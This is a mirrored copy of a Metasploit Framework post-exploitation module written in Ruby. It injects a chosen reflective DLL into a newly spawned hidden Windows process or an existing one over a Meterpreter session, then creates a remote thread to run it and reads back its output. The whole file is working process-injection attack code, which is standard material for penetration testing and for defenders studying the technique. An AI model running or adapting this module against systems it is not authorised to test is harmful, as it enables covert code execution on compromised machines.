Book a Demo!
CoCalc Logo Icon
StoreFeaturesDocsShareSupportNewsAboutPoliciesSign UpSign In
rapid7
GitHub Repository: rapid7/metasploit-framework
Path: blob/master/modules/post/windows/manage/reflective_dll_inject.rb
19591 views
1
##
2
# This module requires Metasploit: https://metasploit.com/download
3
# Current source: https://github.com/rapid7/metasploit-framework
4
##
5
6
class MetasploitModule < Msf::Post
7
include Msf::Post::File
8
include Msf::Post::Windows::Priv
9
include Msf::Post::Windows::Process
10
include Msf::Post::Windows::ReflectiveDLLInjection
11
12
def initialize(info = {})
13
super(
14
update_info(
15
info,
16
'Name' => 'Windows Manage Reflective DLL Injection Module',
17
'Description' => %q{
18
This module will inject a specified reflective DLL into the memory of a
19
process, new or existing. If arguments are specified, they are passed to
20
the DllMain entry point as the lpvReserved (3rd) parameter. To read
21
output from the injected process, set PID to zero and WAIT to non-zero.
22
Make sure the architecture of the DLL matches the target process.
23
},
24
'License' => MSF_LICENSE,
25
'Author' => ['Ben Campbell', 'b4rtik'],
26
'Platform' => 'win',
27
'SessionTypes' => ['meterpreter'],
28
'References' => [
29
[ 'URL', 'https://github.com/stephenfewer/ReflectiveDLLInjection' ]
30
],
31
'Compat' => {
32
'Meterpreter' => {
33
'Commands' => %w[
34
stdapi_sys_process_attach
35
stdapi_sys_process_execute
36
stdapi_sys_process_get_processes
37
stdapi_sys_process_getpid
38
stdapi_sys_process_kill
39
stdapi_sys_process_memory_allocate
40
stdapi_sys_process_memory_write
41
stdapi_sys_process_thread_create
42
]
43
}
44
},
45
'Notes' => {
46
'Stability' => [CRASH_SERVICE_DOWN],
47
'SideEffects' => [],
48
'Reliability' => []
49
}
50
)
51
)
52
register_options(
53
[
54
OptPath.new('PATH', [true, 'Reflective DLL to inject into memory of a process']),
55
OptInt.new('PID', [false, 'Pid to inject', 0]),
56
OptString.new('PROCESS', [false, 'Process to spawn', 'notepad.exe']),
57
OptString.new('ARGUMENTS', [false, 'Command line arguments']),
58
OptInt.new('WAIT', [false, 'Time in seconds to wait before reading output', 0])
59
]
60
)
61
62
register_advanced_options(
63
[
64
OptBool.new('KILL', [ true, 'Kill the injected process at the end of the task', false ])
65
]
66
)
67
end
68
69
def run
70
dll_path = ::File.expand_path(datastore['PATH'])
71
if File.file?(dll_path)
72
run_dll(dll_path)
73
else
74
print_bad("Dll not found #{dll_path}")
75
end
76
end
77
78
def pid_exists(pid)
79
mypid = client.sys.process.getpid.to_i
80
81
if pid == mypid
82
print_bad('Can not select the current process as the injection target')
83
return false
84
end
85
86
host_processes = client.sys.process.get_processes
87
if host_processes.empty?
88
print_bad('No running processes found on the target host.')
89
return false
90
end
91
92
theprocess = host_processes.find { |x| x['pid'] == pid }
93
94
!theprocess.nil?
95
end
96
97
def launch_process
98
process_name = datastore['PROCESS']
99
process_name << '.exe' unless process_name.end_with?('.exe')
100
101
print_status("Launching #{process_name} ...")
102
channelized = datastore['WAIT'] != 0
103
104
process = client.sys.process.execute(
105
process_name,
106
nil,
107
'Channelized' => channelized,
108
'Hidden' => true
109
)
110
111
hprocess = client.sys.process.open(process.pid, PROCESS_ALL_ACCESS)
112
print_good("Process #{hprocess.pid} created.")
113
[process, hprocess]
114
end
115
116
def inject_dll(process, dll_path)
117
library_path = ::File.expand_path(dll_path)
118
exploit_mem, offset = inject_dll_into_process(process, library_path)
119
[exploit_mem, offset]
120
end
121
122
def open_process
123
pid = datastore['PID'].to_i
124
125
if pid_exists(pid)
126
print_status("Opening handle to process #{datastore['PID']}...")
127
hprocess = client.sys.process.open(datastore['PID'], PROCESS_ALL_ACCESS)
128
print_good('Handle opened')
129
[nil, hprocess]
130
else
131
print_bad('Pid not found')
132
[nil, nil]
133
end
134
end
135
136
def run_dll(dll_path)
137
hostname = sysinfo.nil? ? cmd_exec('hostname') : sysinfo['Computer']
138
print_status("Running module against #{hostname} (#{session.session_host})")
139
140
if (datastore['PID'] > 0) || (datastore['WAIT'] == 0)
141
print_warning('Output unavailable')
142
end
143
144
if datastore['PID'] <= 0
145
process, hprocess = launch_process
146
else
147
process, hprocess = open_process
148
end
149
150
if hprocess.nil?
151
print_bad('Execution finished')
152
return
153
end
154
155
exploit_mem, offset = inject_dll(hprocess, dll_path)
156
157
if datastore['ARGUMENTS'].nil?
158
arg_mem = nil
159
else
160
arg_mem = copy_args(hprocess)
161
end
162
163
print_status('Executing...')
164
hprocess.thread.create(exploit_mem + offset, arg_mem)
165
166
if datastore['WAIT'] != 0
167
sleep(datastore['WAIT'])
168
end
169
170
if (datastore['PID'] <= 0) && (datastore['WAIT'] != 0)
171
read_output(process)
172
end
173
174
if datastore['KILL']
175
print_good("Killing process #{hprocess.pid}")
176
client.sys.process.kill(hprocess.pid)
177
end
178
179
print_good('Execution finished.')
180
end
181
182
def copy_args(process)
183
argssize = datastore['ARGUMENTS'].size + 1
184
arg_mem = process.memory.allocate(argssize, PAGE_READWRITE)
185
params = datastore['ARGUMENTS']
186
params += "\x00"
187
188
process.memory.write(arg_mem, params)
189
arg_mem
190
end
191
192
def read_output(process)
193
print_status('Start reading output')
194
old_timeout = client.response_timeout
195
client.response_timeout = 5
196
197
begin
198
loop do
199
output = process.channel.read
200
if !output.nil? && !output.empty?
201
output.split("\n").each { |x| print_good(x) }
202
end
203
break if output.nil? || output.empty?
204
end
205
rescue Rex::TimeoutError
206
vprint_warning('Time out exception: wait limit exceeded (5 sec)')
207
rescue StandardError => e
208
print_error("Error: #{e.inspect}")
209
end
210
211
client.response_timeout = old_timeout
212
print_status('End output.')
213
end
214
end
215
216